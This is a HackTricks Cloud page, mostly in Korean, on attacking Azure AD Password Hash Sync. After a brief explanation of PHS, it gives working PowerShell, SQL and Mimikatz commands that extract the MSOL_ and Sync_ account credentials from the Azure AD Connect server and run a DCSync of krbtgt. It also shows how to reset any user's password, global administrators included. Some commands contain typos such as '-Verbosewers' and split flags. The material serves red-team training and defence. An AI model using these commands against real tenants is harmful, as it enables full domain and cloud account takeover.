Az - PHS - Password Hash Sync
Reading time: 5 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Basic Information
From the docs: 비밀번호 해시 동기화는 하이브리드 아이덴티티를 달성하기 위해 사용되는 로그인 방법 중 하나입니다. Azure AD Connect는 온프레미스 Active Directory 인스턴스에서 클라우드 기반 Azure AD 인스턴스로 사용자의 비밀번호 해시의 해시를 동기화합니다.
.png)
이는 온프레미스 AD와 Azure AD를 동기화하는 데 가장 일반적으로 사용되는 방법입니다.
모든 사용자와 비밀번호 해시의 해시가 온프레미스에서 Azure AD로 동기화됩니다. 그러나 평문 비밀번호나 원본 해시는 Azure AD로 전송되지 않습니다.
또한, 내장 보안 그룹(예: 도메인 관리자 등)은 Azure AD로 동기화되지 않습니다.
해시 동기화는 매 2분마다 발생합니다. 그러나 기본적으로 비밀번호 만료 및 계정 만료는 Azure AD에서 동기화되지 않습니다. 따라서 온프레미스 비밀번호가 만료된(변경되지 않은) 사용자는 이전 비밀번호를 사용하여 Azure 리소스에 계속 접근할 수 있습니다.
온프레미스 사용자가 Azure 리소스에 접근하려고 할 때, 인증은 Azure AD에서 이루어집니다.
PHS는 아이덴티티 보호 및 AAD 도메인 서비스와 같은 기능에 필요합니다.
Pivoting
PHS가 구성되면 일부 특권 계정이 자동으로 생성됩니다:
- 계정 **
MSOL_<installationID>
**는 온프레미스 AD에 자동으로 생성됩니다. 이 계정은 디렉터리 동기화 계정 역할이 부여됩니다(자세한 내용은 문서를 참조). 이는 이 계정이 온프레미스 AD에서 복제(DCSync) 권한을 가지고 있음을 의미합니다. - 계정 **
Sync_<name of on-prem ADConnect Server>_installationID
**가 Azure AD에 생성됩니다. 이 계정은 Azure AD에서 모든 사용자(동기화된 사용자 또는 클라우드 전용 사용자)의 비밀번호를 재설정할 수 있습니다.
이전의 두 특권 계정의 비밀번호는 Azure AD Connect가 설치된 서버의 SQL 서버에 저장됩니다. 관리자는 이러한 특권 사용자의 비밀번호를 평문으로 추출할 수 있습니다.
데이터베이스는 C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
에 위치합니다.
구성 정보를 테이블 중 하나에서 추출할 수 있으며, 하나는 암호화되어 있습니다:
SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;
암호화된 구성은 DPAPI로 암호화되어 있으며, 온프레미스 AD의 MSOL_*
사용자 비밀번호와 AzureAD의 Sync_* 비밀번호를 포함하고 있습니다. 따라서 이를 손상시키면 AD와 AzureAD로 권한 상승이 가능합니다.
이 자격 증명이 저장되고 복호화되는 방법에 대한 전체 개요는 이 강연에서 확인할 수 있습니다.
Finding the Azure AD connect server
Azure AD Connect가 설치된 서버가 도메인에 가입되어 있다면(문서에서 권장), 다음과 같이 찾을 수 있습니다:
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
MSOL_* 악용하기
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
caution
이 자격 증명을 얻기 위해 adconnectdump를 사용할 수도 있습니다.
Sync_* 악용
Sync_*
계정을 손상시키면 모든 사용자의 비밀번호를 재설정할 수 있습니다(전역 관리자 포함).
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
# Get global admins
Get-AADIntGlobalAdmins
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
클라우드 사용자만의 비밀번호를 수정하는 것도 가능합니다 (예상치 못한 경우에도).
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
이 사용자의 비밀번호를 덤프하는 것도 가능합니다.
caution
또 다른 옵션은 서비스 주체에 특권 권한을 할당하는 것인데, Sync 사용자가 권한을 가지고 있으며, 그런 다음 그 서비스 주체에 접근하는 것이 권한 상승의 방법이 될 수 있습니다.
Seamless SSO
PHS와 함께 Seamless SSO를 사용할 수 있으며, 이는 다른 남용에 취약합니다. 확인해 보세요:
References
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs
- https://aadinternals.com/post/on-prem_admin/
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf
- https://www.youtube.com/watch?v=xei8lAPitX8
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.